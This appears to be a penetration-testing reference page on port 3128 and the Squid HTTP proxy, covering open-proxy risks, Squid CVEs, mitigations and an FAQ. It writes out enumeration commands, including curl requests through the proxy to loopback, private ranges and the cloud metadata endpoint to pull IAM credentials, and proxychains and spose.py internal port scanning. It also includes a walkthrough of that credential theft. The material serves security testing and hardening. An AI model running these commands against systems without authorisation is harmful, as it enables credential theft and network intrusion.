Port 3128 – Squid (HTTP Proxy)

Port 3128 is the default listening port for Squid, the long-running open-source caching and forward HTTP proxy. When a network routes user web traffic through Squid — to cache content, filter requests, or provide a single controlled egress point — clients point their browser or http_proxy variable at <squid-host>:3128, and Squid fetches each URL on their behalf. The whole point of a forward proxy is that it makes outbound requests for other machines, so the central security question on an open 3128 is simple and dangerous: who is Squid willing to proxy for, and where will it let them reach? A Squid box with loose access-control lists is not just a web cache — it is a request-forwarding engine an attacker can borrow to anonymize traffic, bypass IP allowlists, and pivot into the network behind it.

Why It’s Open

Port 3128 is open because a Squid proxy is running and listening for client requests. Legitimate reasons include:

• Corporate/egress web proxy. Squid is a classic choice for forcing all outbound HTTP(S) through one auditable, cacheable, filterable chokepoint. Clients are configured to send requests to 3128.
• Caching / bandwidth saving. Squid caches frequently-requested objects so repeat requests are served locally instead of re-fetched, which is why it often sits on a gateway or DMZ host.
• Reverse-proxy / accelerator. Squid can also front web servers (http_accelerator mode), though reverse deployments more often use 80/443.
• Content filtering and parental controls. Squid’s ACLs and ICAP hooks make it a common transparent or explicit filtering point.

Squid is frequently placed on a DMZ or gateway host with one foot in the untrusted network and one foot facing internal systems — exactly the position that turns a proxy misconfiguration into a pivot. The related 8080 alternate-HTTP port is another spot Squid and other proxies commonly listen, so scan both.

Common Risks

• Misconfigured open proxy — the marquee risk. If Squid’s ACLs (http_access) allow arbitrary clients instead of a defined internal range, anyone who can reach 3128 can make Squid fetch URLs for them. That single misconfiguration unlocks the three attacks below.
• Anonymization and IP-allowlist bypass. An attacker routes their traffic through the proxy so requests appear to originate from Squid’s IP, laundering their source address and slipping past controls that trust the proxy’s address.
• SSRF-style internal pivot. Squid will happily proxy requests to 127.0.0.1, RFC1918 addresses (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), and cloud metadata (169.254.169.254). An external attacker uses the DMZ Squid to reach internal-only services — admin panels, databases behind an HTTP front, and cloud instance credentials — that they could never hit directly.
• CONNECT-method tunneling and internal port scanning. The HTTP CONNECT verb asks the proxy to open a raw TCP tunnel to host:port. A permissive Squid lets an attacker CONNECT to arbitrary internal hosts and ports, effectively turning the proxy into a port scanner and TCP pivot for the internal network.
• Cache poisoning. Weaknesses in how Squid keys and validates cached responses (including request-smuggling desync) can let an attacker plant a malicious response that Squid then serves to other users.
• Credential and traffic sniffing on plaintext. Traffic between clients and Squid, and between Squid and plaintext origins, is unencrypted HTTP unless TLS is enforced — sniffable on the path, including Proxy-Authorization if Basic auth is used.
• Squid software CVEs. Old Squid builds carry real, remotely-triggerable request-smuggling, memory-corruption, and denial-of-service bugs (see below).

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

The goal on 3128 is to confirm it’s Squid, then determine who it will proxy for and where it will let you reach. Start by fingerprinting, then test the open-proxy behaviour.

Fingerprint the service and version

nmap -sV -p 3128 <target>
nmap -p 3128 --script http-headers,http-title <target>

Grab the banner / error page

Squid’s own error pages and the Via / X-Cache / Server: squid headers are a giveaway, and its version often leaks in the footer of a TCP_DENIED page.

curl -sI http://<target>:3128/
nc -nv <target> 3128

Test whether it’s an open proxy

The core test: does Squid forward your request to an external site?

# If this returns example.com's page, 3128 is proxying for you
curl -s -x http://<target>:3128 http://example.com/

# Nmap's open-proxy NSE script does the same check automatically
nmap -p 3128 --script http-open-proxy <target>

Probe for the SSRF-style internal pivot

Point the proxy at addresses only it can see — loopback, RFC1918, and cloud metadata:

curl -s -x http://<target>:3128 http://127.0.0.1/
curl -s -x http://<target>:3128 http://192.168.1.1/
# Cloud instance metadata — leaks IAM credentials on AWS if reachable
curl -s -x http://<target>:3128 http://169.254.169.254/latest/meta-data/

Scan the internal network through the proxy (CONNECT tunneling)

spose.py (Squid Pivoting Open Port Scanner) and proxychains turn a permissive Squid into an internal scanner and tunnel:

# spose.py issues CONNECT requests through Squid to enumerate reachable internal ports
python3 spose.py --proxy http://<target>:3128 --target 127.0.0.1

# Route any TCP tool through the proxy with proxychains
# /etc/proxychains.conf ->  http <target> 3128
proxychains nmap -sT -Pn -p 22,80,443,3306 127.0.0.1

Metasploit open-proxy scanner

msfconsole -q
use auxiliary/scanner/http/open_proxy
set RHOSTS <target>
set RPORT 3128
run

Record every open 3128, whether it relayed your request, which internal addresses it reached, and any metadata or credentials it exposed, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Known CVEs and Exploits

There is no generic “port 3128” vulnerability — 3128 is simply where Squid listens, and by far the most common real-world finding on it is a configuration flaw (an over-permissive http_access/open proxy), not a memory bug. That said, Squid itself has a genuine CVE history, and an outdated build is exploitable in its own right. Each CVE below is verified against its NVD record as a real Squid vulnerability:

• CVE-2023-46846 — Squid HTTP request smuggling (the “SMUGGLE” issue), caused by lenient chunked-transfer decoding. A remote attacker can smuggle a request/response past firewalls and front-end security systems, enabling cache poisoning and control bypass. Affects Squid 2.6 through 6.3 (CWE-444); rated 5.3 by NIST and 9.3 by Red Hat.
• CVE-2023-46728 — NULL-pointer-dereference denial of service in Squid’s Gopher gateway, which is always enabled prior to Squid 6.0.1. A remote attacker crashes the proxy. CVSS 7.5. (The fix removed Gopher support outright.)
• CVE-2019-12525 — Out-of-bounds write in Squid’s Digest authentication parsing of the Proxy-Authorization header: a value that is a single quote triggers a memcpy of length minus one. Affects Squid 3.3.9–3.5.28 and 4.0–4.7. CVSS 9.8 (Critical) — only relevant where Digest proxy auth is configured, but severe when it is.
• CVE-2021-31806 — Memory-management bug in HTTP Range request handling that lets a client force a denial of service against all clients using the proxy. Affects Squid before 4.15 and 5.x before 5.0.6. CVSS 6.5.

Always confirm a Squid CVE against its NVD record — product and affected version range — before assuming it applies to the instance in front of you; several of these only bite specific configurations (Gopher enabled, Digest auth on) or version bands.

Mitigation

• Lock down http_access to known clients. This is the single most important control. Define an ACL for your legitimate internal source range and http_access deny all at the end so Squid refuses to proxy for anyone else. An open proxy is a configuration choice — reverse it.
• Restrict the destinations Squid will reach. Deny proxying to localhost, RFC1918 ranges, and the cloud metadata address (169.254.169.254) with explicit dst ACLs, so a compromised client or attacker can’t use Squid for SSRF into internal or metadata services.
• Restrict CONNECT. Limit the CONNECT method to the ports that genuinely need tunneling (typically 443) with an SSL_ports/Safe_ports ACL, closing off internal port scanning and arbitrary TCP tunnels.
• Don’t expose 3128 to the internet. Bind Squid to the internal interface and firewall TCP/3128 to the clients that must use it; a forward proxy almost never belongs on a public IP.
• Enforce TLS and avoid plaintext proxy auth. Terminate/relay over HTTPS on 443 where possible and avoid Basic/Digest Proxy-Authorization over cleartext so credentials aren’t sniffable.
• Patch Squid. Keep it current — the request-smuggling, Gopher-DoS, Digest-auth, and Range-request CVEs above are all fixed in later releases.
• Segment the proxy host. If Squid sits on a DMZ or gateway, minimise what it can reach internally so a proxy compromise doesn’t become a network-wide pivot.

Real-World Example

The canonical port-3128 attack needs no exploit at all — just a misconfigured ACL. An attacker mass-scans for open 3128, gets a Server: squid banner, and confirms the proxy is open with a single curl -s -x http://target:3128 http://example.com/ that comes back with a real page. Because the Squid box lives on a DMZ host, the attacker then aims it inward: curl -s -x http://target:3128 http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns the instance’s IAM role and temporary AWS keys, and curl -s -x http://target:3128 http://127.0.0.1:8080/ reaches an internal admin panel that was never meant to face the outside world. With CONNECT permitted, proxychains and spose.py then walk the internal network’s ports through the same proxy. No CVE, no shellcode — the entire foothold comes from Squid being willing to forward requests it should have refused. It’s the port-3128 lesson in miniature: the proxy’s job is to make requests for other people, so the only thing standing between it and an internal pivot is a correctly written access-control list.

FAQ

What is port 3128 used for?

Port 3128 is the default listening port for the Squid caching and forward HTTP proxy. Clients configured to use the proxy send their web requests to <squid-host>:3128, and Squid fetches, caches, filters, and returns the content on their behalf. It’s commonly used as a corporate egress proxy, a bandwidth-saving web cache, or a content-filtering chokepoint.

Why is port 3128 open on my server?

Because a Squid proxy is running and listening on it. That’s expected on a host deliberately configured as a web proxy or cache. If you didn’t set up Squid, an open 3128 warrants investigation — it may be a proxy someone else installed, and if its ACLs are loose it can be abused by anyone who can reach it.

What is an open Squid proxy and why is it dangerous?

An “open” proxy is one whose http_access rules allow arbitrary clients rather than a defined internal range. It’s dangerous because a proxy makes requests for whoever asks: an attacker can route traffic through it to hide their source IP, bypass allowlists that trust the proxy, reach internal-only and cloud-metadata services (an SSRF-style pivot), and use the CONNECT method to tunnel into and port-scan the internal network — especially damaging when Squid sits on a DMZ host.

How do I test whether port 3128 is an open proxy?

Try to make it fetch a page for you: curl -s -x http://<target>:3128 http://example.com/. If the external page comes back, the proxy is forwarding for you. Nmap’s http-open-proxy NSE script and Metasploit’s auxiliary/scanner/http/open_proxy automate the same check, and pointing the proxy at 127.0.0.1, RFC1918 addresses, or 169.254.169.254 shows whether it can be used to reach internal or metadata services.

Does Squid have known CVEs?

Yes. Verified examples include CVE-2023-46846 (HTTP request smuggling), CVE-2023-46728 (Gopher-gateway DoS), CVE-2019-12525 (a critical out-of-bounds write in Digest-auth parsing), and CVE-2021-31806 (Range-request DoS). Keep Squid patched — but note that most real-world 3128 findings are configuration issues (an open proxy), not these software bugs.

How do I secure or close port 3128?

Fix the ACLs first: restrict http_access to known client ranges with a deny all fallback, block proxying to localhost/RFC1918/metadata destinations, and limit CONNECT to safe ports. Keep Squid off the public internet, firewall TCP/3128 to clients that need it, enforce TLS, and patch Squid. If nothing legitimately uses the proxy, stop the service and confirm with nmap -p 3128 <host> that the port is closed. Capture the before/after in your pentest report.

TL;DR

• Service: Squid — caching / forward HTTP proxy (also seen on 8080 and alongside plaintext HTTP on 80 / dev 8888)
• Default port: 3128/TCP (plaintext HTTP proxy protocol)
• Biggest risk: a misconfigured open proxy — anonymization, IP-allowlist bypass, SSRF-style pivot to internal/cloud-metadata services, and CONNECT-based internal port scanning; plus real Squid CVEs (request smuggling CVE-2023-46846, Digest-auth OOB CVE-2019-12525) on unpatched builds
• Mitigation: tighten http_access to known clients, deny internal/metadata destinations, restrict CONNECT, keep 3128 off the public internet, enforce TLS, and patch Squid